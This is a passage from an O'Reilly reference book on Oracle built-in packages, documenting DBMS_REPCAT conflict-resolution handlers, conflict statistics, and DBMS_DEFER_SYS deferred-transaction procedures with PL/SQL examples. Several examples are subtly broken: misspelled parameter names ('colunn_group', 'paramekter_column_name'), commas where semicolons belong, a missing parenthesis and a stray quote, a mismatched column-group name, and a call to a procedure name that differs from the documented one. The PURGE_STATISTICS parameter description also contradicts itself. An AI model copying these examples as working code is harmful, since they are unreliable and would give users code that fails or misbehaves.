This next call assigns the column group CG_PRODUCT_MFG_COLS as the second update conflict resolution handler for table products. Oracle invokes this resolution method if and only if the first method failed to resolve the conflict.

BEGIN
    DBMS_REPCAT.ADD_UPDATE_RESOLUTION(
        sname			=> 'SPROCKET',
        oname			=> 'PRODUCTS',
        colunn_group		=> 'CG_PRODUCT_PRICE_COLS',
        method			=> 'LATEST TIMESTAMP',
        parameter_column_name	=> 'PRODUCTION_DATE',
        comment			=> 'Update Res. 2 added on '||sysdate);
END;

The following example assigns a third update conflict resolution handler to the products table. This handler would simply ignore an update if the first two conflict handlers failed to resolve it.

BEGIN
    DBMS_REPCAT.ADD_UPDATE_RESOLUTION(
        sname			=> 'SPROCKET',
        oname			=> 'PRODUCTS',
        sequence_no		=> 3,
        method			=> 'DISCARD',
        comment			=> 'Update Res. 3 added on '||sysdate);
END;

16.5.1.1.5 Examples of ADD_UNIQUE_RESOLUTION

Uniqueness conflicts may occur during inserts; for example, two different sites may insert a record with the same primary key. While you can guard against this sort of conflict by partitioning primary key values among your sites, this design is not always possible. Note that if you wish to use the APPEND SITE NAME or APPEND SEQUENCE NUMBER methods, the column with the unique constraint must specify a character datatype (CHAR or VARCHAR2). This choice of datatype may not be appropriate for a primary key column.

The following example configures the products table to discard records that result in uniqueness conflicts:

BEGIN
    DBMS_REPCAT.ADD_UNIQUE_RESOLUTION(
        sname			=> 'SPROCKET',
        oname			=> 'PRODUCTS',
        constraint_name		=> 'PK_PRODUCTS',
        sequence_no		=> 1,
        method			=> 'DISCARD',
        parameter_column	=> 'PRODUCT_ID',
        comment			=> 'Unique Res. 1 added on '||sysdate);
END;

16.5.1.1.6 Examples of ADD_DELETE_RESOLUTION

As we have mentioned, Oracle does not provide any built-in conflict resolution techniques for delete conflicts. In fact, Oracle recommends that applications that use the advanced replication option avoid delete entirely, and simply use a status column to flag records as deleted. However, if you must delete rows, you can write your own conflict resolution method and assign it to your table. See the Section 16.5.1.1.7, "User-defined methods"" section later in this chapter.

The following function serves as a delete conflict handler for the products table. It forces a delete against the table.

    CREATE OR REPLACE FUNCTION products_delete_handler (
        old_product_id		  IN OUT NUMBER,
        Old_product_type	  IN OUT NUMBER,
        old_catalog_id	          IN OUT VARCHAR2,
        old_description		  IN OUT VARCHAR2,
        old_rev_level		  IN OUT VARCHAR2,
        old_production_date	  IN OUT DATE,
        old_production_status	  IN OUT VARCHAR2,
        old_audit_date		  IN OUT DATE,
        old_audit_user		  IN OUT VARCHAR2,
        old_global_name		  IN OUT VARCHAR2,
        ignore_discard_flag	  OUT BOOLEAN ) RETURN BOOLEAN IS

    BEGIN
        DELETE	FROM products
        WHERE	product_id = old_product_id;

        ignore_discard_flag := TRUE;

        RETURN TRUE;
    END products_delete_handler;

This final example designates the function products_delete_handler from the previous example and a user-defined delete conflict handler for the PRODUCTS_TABLE:

    DECLARE param_col_list DBMS_REPCAT.VARCHAR2S;
    BEGIN
        param_col_list( 1) := 'PRODUCT_ID';
        param_col_list( 2) := 'PRODUCT_TYPE';
        param_col_list( 3) := 'CATALOG_ID';
        param_col_list( 4) := 'DESCRIPTION';
        param_col_list( 5) := 'REV_LEVEL';
        param_col_list( 6) := 'PRODUCTION_DATE';
        param_col_list( 7) := 'PRODUCTION_STATUS',
        param_col_list( 8) := 'AUDIT_DATE',
        param_col_list( 9) := 'AUDIT_USER',
        param_col_list(10) := 'GLOBAL_NAME',

        DBMS_REPCAT.ADD_DELETE_RESOLUTION(
            sname			=> 'SPROCKET',
            oname			=> 'PRODUCTS',
            sequence_no		=> 1,
            paramekter_column_name	=> param_col_list,
            function_name		=> 'PRODUCTS_DELETE_HANDLER',
            comment			=> 'Del handler 1 added on ' ||  sysdate);
    END;

16.5.1.1.7 User-defined methods

User-defined methods must meet the following criteria:

  1. Must be a PL/SQL function.

  2. Must return BOOLEAN TRUE if successful, FALSE otherwise.

  3. Must not perform DDL.

  4. Must not perform transaction control (e.g., ROLLBACK).

  5. Must not perform session control (e.g., ALTER SESSION).

  6. Must not perform system control (e.g. ALTER SYSTEM).

  7. Update handlers accept old, new, and current column values for columns specified in parameter_column_name parameter of ADD_UPDATE_RESOLUTION. Old and current column values are IN parameters, new column values are IN OUT parameters.

  8. Delete handlers accept old column values as IN parameters for all table columns.

  9. Uniqueness handlers accept new values as IN OUT parameters for columns specified in the parameter_column_name parameter of ADD_UNIQUE_RESOLUTION.

  10. Last parameter is ignore_discard_flag OUT BOOLEAN, which is set to TRUE if new values are to be discarded, or FALSE if they are to be accepted.

16.5.1.2 The DBMS_REPCAT.DROP_<conflicttype>_RESOLUTION procedure

The DROP_<conflicttype>_RESOLUTION procedure removes a conflict resolution type from a table. The value of <conflicttype> can be UPDATE, UNIQUE, DELETE. Here are the specifications:

PROCEDURE DBMS_REPCAT.DROP_UPDATE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    sequence_no IN NUMBER) ;

PROCEDURE DBMS_REPCAT.DROP_UNIQUE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    constraint_name IN VARCHAR2,
    sequence_no IN NUMBER) ;

PROCEDURE DBMS_REPCAT.DROP_DELETE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    sequence_no IN NUMBER) ;

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema containing the replicated schema. Defaults to current user.
oname | Name of the replicated table.
column_group | Column group for which the conflict resolution method is defined.
constraint_name | For procedure DROP_UNIQUE_RESOLUTION only. Name of the constraint name or unique index for which the conflict resolution method is defined.
sequence_no | Number indicating when this conflict resolution method is applied relative to other conflict resolution methods defined for the same column group or priority group.

16.5.1.2.1 Exceptions

The DROP_<conflicttype>_RESOLUTION procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Table oname does not exist in the replication group
missingschema | -23306 | Schema sname does not exist
nonmasterdef | -23312 | Calling site is not the master definition site

16.5.1.2.2 Restrictions

Note these restrictions on calling DROP_<conflicttype>_RESOLUTION:

  • You must call this procedure from the master definition site.

  • After this call, you must generate replication support for the table passed to oname.

16.5.1.2.3 Example

In this example we drop the delete handler (created in a previous example) from the products table:

    BEGIN
        DBMS_REPCAT.DROP_DELETE_RESOLUTION(
            sname		=> 'SPROCKETS',
            oname		=> 'PRODUCTS',
            sequence_no	=> 1);
    END;

16.5.1.3 The DBMS_REPCAT.COMMENT_ON_<conflicttype>_RESOLUTION procedure

You can use the COMMENT_ON_<conflicttype>_RESOLUTION procedure to create or replace a comment for a given resolution type. You can see this comment in the DBA_REPRESOLUTION data dictionary view. Following are the specifications for the three values of <conflicttype> (UPDATE, UNIQUE, DELETE):

PROCEDURE DBMS_REPCAT.COMMENT_ON_UPDATE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    column_group IN VARCHAR2,
    sequence_no IN NUMBER,
    comment IN VARCHAR2);

PROCEDURE DBMS_REPCAT.COMMENT_ON_UNIQUE_RESOLUTION
   (sname IN VARCHAR2,
    oname in VARCHAR2,
    constraint_name IN VARCHAR2,
    sequence_no IN NUMBER,
    comment IN VARCHAR2) ;

PROCEDURE DBMS_REPCAT.COMMENT_ON_DELETE_RESOLUTION
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    sequence_no IN NUMBER,
    comment IN VARCHAR2) ;

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which object oname belongs
oname | Name of the object
column_group | Name of column group for which conflict resolution method is defined
constraint_name | Name of unique constraint the method resolves (COMMENT_ON_UNIQUE_RESOLUTION only)
sequence_no | Sequence number associated with the resolution method
comment | Comment

16.5.1.3.1 Exceptions

The COMMENT_ON_<conflicttype>_RESOLUTION procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Object oname does not exist
missingresolution | -23343 | No resolution method exists for column_group and sequence_no
nonmasterdef | -23312 | Calling site is not the master definition site

16.5.1.3.2 Restrictions

Note the following restrictions on calling COMMENT_ON_<conflicttype>_RESOLUTION:

  • You must call this procedure from the master definition site.

  • After this call, you must generate replication support for the table passed to oname.

16.5.1.3.3 Example

This example replaces the comment on the unique resolution method created in a previous example:

    BEGIN
        DBMS_REPCAT.COMMENT_ON_UNIQUE_RESOLUTION(
            sname			=> 'SPROCKET',
            oname			=> 'PRODUCTS',
            constraint_name		=> 'PK_PRODUCTS',
            sequence_no		=> 1,
            comment			=> 'New comment added on '||sysdate);
    END;

Previous: 16.4 Site Priority Groups with DBMS_REPCAT | Oracle Built-in Packages | Next: 16.6 Monitoring Conflict Resolution with DBMS_REPCAT
16.4 Site Priority Groups with DBMS_REPCAT | Book Index | 16.6 Monitoring Conflict Resolution with DBMS_REPCAT
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.6 Monitoring Conflict Resolution with DBMS_REPCAT

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

16.6 Monitoring Conflict Resolution with DBMS_REPCAT

Oracle can audit successful calls to your conflict resolution handlers so that you have insight into the frequency and nature of the conflicts that occur.

16.6.1 About Monitoring

If you enable the auditing of successful calls to your conflict resolution handlers, you can review this information in the DBA_REPRESOLUTION_STATISTICS data dictionary view.

Use the following programs to enable, disable, and purge these statistics:

DBMS_REPCAT.REGISTER_STATISTICS
DBMS_REPCAT.CANCEL_STATISTICS
DBMS_REPCAT.PURGE_STATISTICS

16.6.1.1 The DBMS_REPCAT.REGISTER_STATISTICS procedure

The REGISTER_STATISTICS procedure enables the collection of data about the successful resolution of update, uniqueness, and delete conflicts. This information is visible in the DBA_REPRESOLUTION_STATISTICS data dictionary view. Here is the specification for this procedure:

PROCEDURE DBMS_REPCAT.REGISTER_STATISTICS
   (sname IN VARCHAR2,
    oname IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs
oname | Name of the replicated table

There are no restrictions on calling REGISTER_STATISTICS.

16.6.1.1.1 Exceptions

The REGISTER_STATISTICS procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Table oname does not exist
missingschema | -23306 | Schema sname does not exist

16.6.1.1.2 Example

This call enables the gathering of conflict resolution statistics for the products table:

    BEGIN
        DBMS_REPCAT.REGISTER_STATISTICS
            sname	=> 'SPROCKET',
            oname	=> 'PRODUCTS');
    END;

16.6.1.2 The DBMS_REPCAT.CANCEL_STATISTICS procedure

The CANCEL_STATISTICS procedure disables the gathering of conflict resolution statistics. Here's the specification:

PROCEDURE DBMS_REPCAT.CANCEL_STATISTICS
   (sname IN VARCHAR2,
    oname IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which the replicated table belongs
oname | Name of the replicated table

There are no restrictions on calling CANCEL_STATISTICS.

16.6.1.2.1 Exceptions

The CANCEL_STATISTICS procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Table oname does not exist
missingschema | -23306 | Schema sname does not exist
statnotreg | -23345 | Statistics have not been registered for object oname

16.6.1.2.2 Example

This call disables the gathering of conflict resolution statistics for the products table:

    BEGIN
        DBMS_REPCAT.CANCEL_STATISTICS(
            sname	=> 'SPROCKET',
            oname	=> 'PRODUCTS;);
    END;

16.6.1.3 The DBMS_REPCAT.PURGE_STATISTICS procedure

If you are collecting conflict resolution statistics, you can purge this information periodically using the PURGE_STATISTICS procedure. Here is the specification:

PROCEDURE DBMS_REPCAT.PURGE_STATISTICS
   (sname IN VARCHAR2,
    oname IN VARCHAR2,
    start_date IN DATE,
    end_date IN DATE);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema that owns oname.
oname | Table whose conflict resolution statistics are to be deleted.
start_date | Beginning of date range for which statistics are to be deleted. If NULL, all entries less than end_date are deleted.
end_date | End of date range for which statistics are to be deleted. If NULL, all entries greater than end_date are deleted.

There are no restrictions on calling PURGE_STATISTICS.

16.6.1.3.1 Exceptions

The PURGE_STATISTICS procedure may raise the following exceptions:

Name | Number | Description
missingobject | -23308 | Object oname does not exist
missingschema | -23306 | Schema sname does not exist

16.6.1.3.2 Example

This example purges all records collected for the products table between 01-Jan-1998 and 01-Feb-1998:

    BEGIN
        DBMS_REPCAT.PURGE_STATISTICS(
            sname		=> 'SPROCKET',
            oname           => 'PRODUCTS',
            start_date           => '01-JAN-1998',
            end_date           => '01-FEB-1998');
    END;

Previous: 16.5 Assigning Resolution Methods with DBMS_REPCAT | Oracle Built-in Packages | Next: 17. Deferred Transactions and Remote Procedure Calls
16.5 Assigning Resolution Methods with DBMS_REPCAT | Book Index | 17. Deferred Transactions and Remote Procedure Calls
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] Deferred Transactions and Remote Procedure Calls

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 16.6 Monitoring Conflict Resolution with DBMS_REPCAT Chapter 17 Next: 17.2 DBMS_DEFER_SYS: Managing Deferred Transactions

17. Deferred Transactions and Remote Procedure Calls

Contents:
About Deferred Transactions and RPCs
DBMS_DEFER_SYS: Managing Deferred Transactions
DBMS_DEFER: Building Deferred Calls
DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance

Oracle's advanced replication option relies primarily on deferred transactions and remote procedure calls (RPCs). When you commit a transaction against a replicated table, for example, the replication support triggers queue a deferred transaction to do your bidding in one or more remote databases. In addition to providing many of the underpinnings for the advanced replication option, the packages used to create and manipulate deferred calls are available for direct use in your applications. You will use the packages described in this chapter for deferred transactions and RPCs.

DBMS_DEFER_SYS

Performs administrative tasks such as scheduling, executing, and deleting queued transactions.

DBMS_DEFER

Builds deferred calls.

DBMS_DEFER_QUERY

Provides access to parameters passed to deferred calls, primarily for diagnostic purposes.

NOTE: Users must have explicit EXECUTE privileges on DBMS_DEFER in order to create deferred calls.

17.1 About Deferred Transactions and RPCs

This section provides some basic information you'll find useful in using the packages described in this chapter.

17.1.1 About Remote Destinations

Every remote procedure call has to be executed somewhere, and Oracle offers several methods of specifying where.

If you are using the advanced replication option, you have implicitly named the destinations for deferred RPCs and transactions by creating master sites. Whenever a user performs DML on a table, the transaction is applied locally and is queued for delivery to all other sites where the table is replicated; these sites are listed in the DBA_REPSITES data dictionary view. Similarly, replicated procedure calls are also queued for all master sites in the replicated environment. Refer to Chapter 15, Advanced Replication, for details on using DBMS_REPCAT, which performs most replicated environment administration operations.

If you are not using the advanced replication option, then the destination site(s) are determined by one of the following means, listed in order of precedence:

  1. The sites specified in the nodes parameter in the call to DBMS_DEFER.CALL, described later in this chapter.

  2. The sites specified in the nodes parameter to DBMS_DEFER.TRANSACTION, described later in this chapter.

  3. The sites specified in the DEFDEFAULTDEST data dictionary view, described later in this chapter (Table 17.4).

If Oracle cannot determine a call's destination by any of these methods, or if you specify differing destinations in the DBMS_DEFER.TRANSACTION and DBMS_DEFER.CALL procedures, the deferred call will raise an exception.

17.1.2 Data Dictionary Views

There are eight data dictionary views (see Table 17.1) that contain data about deferred transactions and RPCs. You can query these views to determine information such as the destination of RPC calls, error messages, and scheduled execution times. Most of the packages associated with deferred calls reference and/or modify the data in these views.

Tables 17-2 through 17-9 provide details about the contents of these views.

Table 17.1: Data Dictionary Views Associated with Deferred Calls
View Name | Description
DEFCALL | Contains information about all deferred RPCs. Queries SYSTEM.DEF$_CALL table.
DEFCALLDEST | Contains the destination database(s) for each deferred RPC in DEFCALL. Queries SYSTEM.DEF$_CALL, SYSTEM.DEF$_DESTINATION, SYSTEM.DEF$_CALLDEST, SYSTEM.DEF$_ERROR, and SYSTEM.REPCAT$_REPPROP.
DEFDEFAULTDEST | Contains the default destinations for deferred RPCs. Queries SYSTEM.DEF$_DEFAULTDEST.
DEFERROR | Contains error information for deferred calls that could not be applied at their destination. Queries SYSTEM. DEF$_ERROR.
DEFERRORCOUNT | Contains the count of errors for each destination. Queries SYSTEM.DEF$_ERROR.
DEFSCHEDULE | Contains information about the scheduling of deferred jobs. Queries SYSTEM.DEF$_DESTINATION and SYS.JOB$.
DEFTRAN | Contains information about all deferred calls. Queries SYSTEM.DEF$_CALL and SYS.USER$.
DEFTRANDEST | Contains the destination database(s) for each deferred transaction. Queries SYSTEM.DEF$_CALL, SYSTEM.DEF$_DESTINATION, SYSTEM.DEF$_ERROR, SYSTEM.DEF$_CALLDEST, and SYSTEM.REPCAT$_REPPROP.

Table 17.2: Columns in DEFCALL Data Dictionary View
Column Name | Description
CALLNO | Unique ID of call at deferred_tran_db
DEFERRED_TRAN_DB | Global name of database that originated the call
DEFERRED_TRAN_ID | Unique ID of the transaction
SCHEMANAME | Schema that owns the package
PACKAGENAME | Name of the package
PROCNAME | Name of the procedure within the package
ARGCOUNT | Number of arguments passed to the procedure

Table 17.3: Columns in DEFCALLDEST Data Dictionary View
Column Name | Description
CALLNO | Unique ID of call at deferred_tran_db.
DEFERRED_TRAN_ID | Unique ID of the transaction. Note that each deferred_tran_id has one or more calls.
DEFERRED_TRAN_DB | Global name of database that originated the call.
DBLINK | Global name of the destination database.

Table 17.4: Columns in DEFDEFAULTDEST Data Dictionary View
Column Name | Description
DBLINK | Global name of the destination database

Table 17.5: Columns in DEFERROR Data Dictionary View
Column Name | Description
DEFERRED_TRAN_DB | Global name of the database that originated the RPC
DEFERRED_TRAN_ID | ID of the transaction originating or copying the deferred RPC
CALLNO | Unique ID of call at deferred_tran_db
DESTINATION | Database link used to specify the destination database
ERROR_TIME | Time the error occurred
ERROR_NUMBER | Oracle error number
ERROR_MSG | Error message text

Table 17.6: Columns in DEFERRCOUNT Data Dictionary View
Column Name | Description
ERRCOUNT | Number of errors in deferred RPC calls to destination
DESTINATION | Global name of destination database

Table 17.7: Columns in DEFSCHEDULE Data Dictionary View
Column Name | Description
DBLINK | Global name of the database for which pushes of deferred RPC calls is scheduled
JOB | Number of the job (job column in DBA_JOBS)
INTERVAL | Date expression that determines how often the job runs
NEXT_DATE | Next time the job is scheduled to run
LAST_DATE | Last time the job ran
DISABLED | Y if propagation to destination is disabled, otherwise N
LAST_TXN_COUNT | Number of transactions pushed last time job ran
LAST_ERROR | Oracle error number from the most recent push
LAST_MSG | Error message text from the most recent push

Table 17.8: Columns in DEFTRAN Data Dictionary View
Column Name | Description
DEFERRED_TRAN_ID | ID of the transaction that originated or copied the deferred RPCs.
DEFERRED_TRAN_DB | Global name of the database that originated or copied the deferred RPCs.
ORIGIN_TRAN_ID | ID of the transaction that originated the deferred RPCs.
ORIGIN_TRAN_DB | Global name of the database that originated the deferred RPCs.
ORIGIN_USER | USERID of user originating deferred RPC calls.
DELIVERY_ORDER | SCN of the deferred transaction in the queue.
DESTINATION_LIST | R if destinations are determined by the DBA_REPSCHEMA data dictionary view. D if destinations were specified in DEFDEFAULTDEST or the NODE_LIST parameter to the DBMS_DEFER.TRANSACTION, DBMS_DEFER.CALL, or DBMS_DEFER.COPY procedures.
START_TIME | Start time of the origination transaction.
COMMIT_COMMENT | User-supplied comments.

Table 17.9: Columns in DEFTRANDEST Data Dictionary View
Column Name | Description
DEFERRED_TRAN_ID | ID of the transaction to propagate to database specified by dblink
DEFERRED_TRAN_DB | Global name of the database that originated the deferred transaction
DBLINK | Global name of the destination database

Previous: 16.6 Monitoring Conflict Resolution with DBMS_REPCAT | Oracle Built-in Packages | Next: 17.2 DBMS_DEFER_SYS: Managing Deferred Transactions
16.6 Monitoring Conflict Resolution with DBMS_REPCAT | Book Index | 17.2 DBMS_DEFER_SYS: Managing Deferred Transactions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.2 DBMS_DEFER_SYS: Managing Deferred Transactions

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

17.2 DBMS_DEFER_SYS: Managing Deferred Transactions

The DBMS_DEFER_SYS package provides a number of programs for administrative tasks associated with deferred transactions.

17.2.1 Getting Started with DBMS_DEFER_SYS

The DBMS_DEFER_SYS package is created when the Oracle database is installed. The dbmsdefr.sql script (found in the built-in packages source directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtrctf.sql creates the public synonym DBMS_DEFER_SYS. No EXECUTE privileges are granted on DBMS_DEFER_SYS; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

17.2.1.1 DBMS_DEFER_SYS programs

Table 17.10 lists the programs available in the DBMS_DEFER_SYS package.

Table 17.10: DBMS_DEFER_SYS Programs
Name | Description | Use in SQL?
ADD_DEFAULT_DEST | Adds a destination to the DEFDEFAULTDEST data dictionary view | No
COPY | Creates a copy of an RPC with a different destination | No
DELETE_DEFAULT_DEST | Deletes a destination from the DEFDEFAULTDEST data dictionary view | No
DELETE_ERROR | Deletes an error from the DEFERROR data dictionary view | No
DELETE_TRAN | Deletes a transaction from the DEFTRANDEST data dictionary view | No
DISABLED | Returns a BOOLEAN indicating whether deferred transactions from the current site to the destination site are disabled | No
EXCLUDE_PUSH | Acquires a lock to disable deferred pushes | No
EXECUTE | Executes an RPC immediately | No
EXECUTE_ERROR | Reexecutes an RPC that failed previously | No
EXECUTE_ERROR_AS_USER | Re-executes a failed RPC under security context of connected user | No
PURGE | Purges transactions that have been propagated from the deferred transaction queue | No
PUSH | Pushes queued transaction to destination node | No
REGISTER_PROPAGATOR | Makes designated user the propagator for the local database | No
SCHEDULE_EXECUTION | Schedules automatic RPC pushes between a master or snapshot site another master site | No
SCHEDULE_PURGE | Schedules automatic purge of transactions that have been propagated from the queue | No
SCHEDULE_PUSH | Schedules automatic pushes to destination node | No
SET_DISABLED | Disables deferred transactions between the current site and a destination site | No
UNREGISTER_PROPAGATOR | Complement to REGISTER_PROPAGATOR; revokes privileges granted to make user the local database's propagator | No
UNSCHEDULE_EXECUTION | Stops automatic RPC pushes between a master or snapshot site and another master site | No
UNSCHEDULE_PURGE | Complement to SCHEDULE_PURGE; unschedules automatic purge of transactions that have been propagated to the queue | No
UNSCHEDULE_PUSH | Complement to SCHEDULE_PUSH; unschedules automatic pushes to destination node | No

17.2.1.2 DBMS_DEFER_SYS exceptions

The DBMS_DEF_SYS package may raise the following exception:

Name | Number | Description
crt_err_err | -23324 | Parameter type does not match actual type

17.2.1.3 DBMS_DEFER_SYS nonprogram elements

The following table defines the constants defined in the DBMS_DEFER_SYS package. These constants are used internally in the package.

Type/Name | Description
CONSTANT parm_buffer_size | Size of long buffer used for packing parameters (= 4096)
CONSTANT default_alert_name | VARCHAR2(30):= ORA$DEFER_ALERT

17.2.2 Adding and Deleting Default Destinations

The DBMS_DEFER_SYS package's ADD_DEFAULT_DEST and DELETE_DEFAULT_DEST procedures add and delete records in the DEFDEFAULTDEST data dictionary view.

17.2.2.1 The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure

The ADD_DEFAULT_DEST procedure adds records in the DEFDEFAULTDEST data dictionary view. Adding a record to this view effectively specifies a default destination for deferred RPCs. The specification is,

PROCEDURE DBMS_DEFER_SYS.ADD_DEFAULT_DEST
   (dblink IN VARCHAR2);

where dblink is the global name of the destination site being added.

There are no restrictions on calling ADD_DEFAULT_DEST.

17.2.2.1.1 Exceptions

The ADD_DEFAULT_DEST procedure may raise the following exception:

Name | Number | Description
None | -23352 | Specified destination is already in DEFDEFAULTDEST data dictionary view

17.2.2.1.2 Example

The following call adds the default destination named D7NY.BIGWHEEL.COM to DEFDEFAULTDEST:

    BEGIN
        DBMS_DEFER_SYS.ADD_DEFAULT_DEST('D7NY.BIGWHEEL.COM');
    END;

Of course, the appropriate database links must be in place for deferred transactions to reach your intended destinations. Also, remember that the DBMS_DEFER package queues RPCs to the locations in DEFDEFAULTDEST if and only if you have not passed the nodes parameter to DBMS_DEFER.CALL or DBMS_DEFER.TRANSACTION.

NOTE: Changes you make to DEFDEFAULTDEST affect future calls only, not calls that may already be queued.

17.2.2.2 The DBMS_DEFER.SYS.DELETE_DEFAULT_DEST procedure

The DELETE_DEFAULT_DEST procedure deletes records in the DEFDEFAULTDEST data dictionary view. Deleting a record effectively removes a default destination for deferred RPCs. The specification is,

PROCEDURE DBMS_DEFER_SYS.DELETE_DEFAULT_DEST
   (dblink IN VARCHAR2);

where dblink is the global name of the destination site being deleted.

There are no restrictions on calling DELETE_DEFAULT_DEST, and the procedure raises no exceptions.

17.2.2.2.1 Example

The following example removes the default destination named D7OH.BIGWHEEL.COM from DEFDEFAULTDEST:

    BEGIN
        DBMS_DEFER_SYS.DELETE_DEFAULT_DEST('D7OH.BIGWHEEL.COM');
    END;

As with other DBMS_DEFER_SYS programs, these deletions affect only future calls.

17.2.3 Copying Deferred Transactions to New Destinations

If you want the deferred RPCs that are already in the queue to be propagated to the newly added destinations, you can use the DBMS_DEFER_SYS.COPY procedure to make a copy of the existing deferred transaction(s).

17.2.3.1 The DBMS_DEFER_SYS.COPY procedure

The COPY procedure copies a specified deferred transaction. Oracle queues the copied transaction to the new destinations that you specify. Here's the specification:

PROCEDURE DBMS_DEFER_SYS.COPY
   (deferred_tran_id IN VARCHAR2,
    deferred_tran_db IN VARCHAR2,
    destination_list IN dbms_defer.node_list_t,
    destination_count IN BINARY_INTEGER);

Parameters are summarized in the following table.

Name | Description
deferred_tran_id | ID from DEFTRAN data dictionary view to be copied
deferred_tran_db | Global name of the originating database
destination_list | PL/SQL table listing global names of databases to which the transaction is to be sent
destination_count | Number or entries in destination_list

There are no restrictions on calling COPY.

NOTE: This procedure is available only in Oracle7.

17.2.3.1.1 Exceptions

The COPY procedure may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -1403 | Specified deferred_tran_id does not exist

17.2.3.1.2 Example

Suppose that you have a new site in Hawaii, and you want to include it as a destination for RPCs that are already queued. First, add the Hawaiian site to the list of default destinations like this:

    BEGIN
        DBMS_DEFER_SYS.ADD_DEFAULT_DESTINATION('D7HI.BIGWHEEL.COM');
    END;

Next, query DEFCALLDEST to get the transaction ID of a the queued RPC(s). You need this information to copy the transaction:

SQL> select * from defcalldest;

             Deferred Deferred
             Tran      Tran
Call No          ID        DB		       DB Link
--------------  --------  ------------------- --------------------
6631429919536   2.59.13	 D7CA.BIGWHEEL.COM    D7OR.BIGWHEEL.COM
6631429919536   2.59.13	 D7CA.BIGWHEEL.COM    D7WA.BIGWHEEL.COM

2 rows selected.

Now, use DBMS_DEFER_SYS.COPY to queue this transaction to the destination named D7HI.BIGWHEEL.COM:

    DECLARE
        vNodes DBMS_DEFER.NODE_LIST_T;
    BEGIN
        vNodes(1) := 'D7HI.BIGWHEEL.COM';
        dbms_defer_sys.copy( '2.59.13', 'D7CA.BIGWHEEL.COM', vNodes, 1);
    END;

17.2.4 Maintenance Procedures

There are several maintenance procedures available in the DBMS_DEFER_SYS package. These procedures round out the deferred RPC repertoire by providing a means of cleaning up errors and temporarily disabling queue pushes.

17.2.4.1 The DBMS_DEFER_SYS.DELETE_ERROR procedure

The DELETE_ERROR procedure allows you to delete transactions from the DEFERROR data dictionary view. The procedure also deletes the related entries from DEFCALL, DEFTRAN, and DEFTRANDEST. Use DELETE_ERROR if you have manually resolved a transaction that initially failed.

Here is the specification:

PROCEDURE DBMS_DEFER_SYS.DELETE_ERROR
   (deferred_tran_id IN VARCHAR2,
    deferred_tran_db IN VARCHAR2,
    destination      IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
deferred_tran_id | ID from DEFTRAN data dictionary view of transaction to be deleted from DEFERROR. If NULL, all entries for the specified deferred_tran_db and destination are deleted.
deferred_tran_db | Global name of the originating database. If NULL, all entries for the specified deferred_tran_id and destination are deleted.
destination | Global name of the destination database. If NULL, all entries for the specified deferred_tran_id and deferred_tran_db are deleted.

There are no restrictions on calling DELETE_ERROR.

17.2.4.1.1 Exceptions

The DELETE_ERROR procedure may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -1403 | Specified deferred_tran_id does not exist, specified deferred_tran_db does not exist, and/or specified destination does not exist

17.2.4.1.2 Examples

The nice thing about the DELETE_ERROR procedure is that you can pass NULL to any or all of the three parameters to treat it as a wildcard.

Here's how to delete all errors:

    BEGIN
        DBMS_DEFER_SYS.DELETE_ERROR( null, null, null);
    END;

Here's how to delete all errors having D7NY.BIGWHEEL.COM as a destination:

    BEGIN
        DBMS_DEFER_SYS.DELETE_ERROR(null, null, 'D7NY.BIGWHEEL.COM' );
    END;

Here's how to delete all errors from RPC calls that originated at D7CA.BIGWHEEL.COM:

    BEGIN
        DBMS_DEFER_SYS.DELETE_ERROR(NULL, 'D7CA.BIGWHEEL.COM', NULL);
    END;

17.2.4.2 The DBMS_DEFER_SYS.DELETE_TRAN procedure

The DELETE_TRAN procedure deletes deferred transactions. You might want to do this if you have applied the call manually or if you remove a node from your environment. The procedure deletes the call from the DEFTRANDEST data dictionary view and also from DEFCALLDEST (if it is an RPC). If the original call has been applied to all other destinations, then the procedure also removes the entries from DEFCALL and DEFTRAN.

As with the DELETE_ERROR procedure, DELETE_TRAN also treats NULL parameter values as wildcards (see the examples under DELETE_ERROR).

Here is the specification:

PROCEDURE DBMS_DEFER_SYS.DELETE_TRAN
   (deferred_tran_id IN VARCHAR2,
    deferred_tran_db IN VARCHAR2,
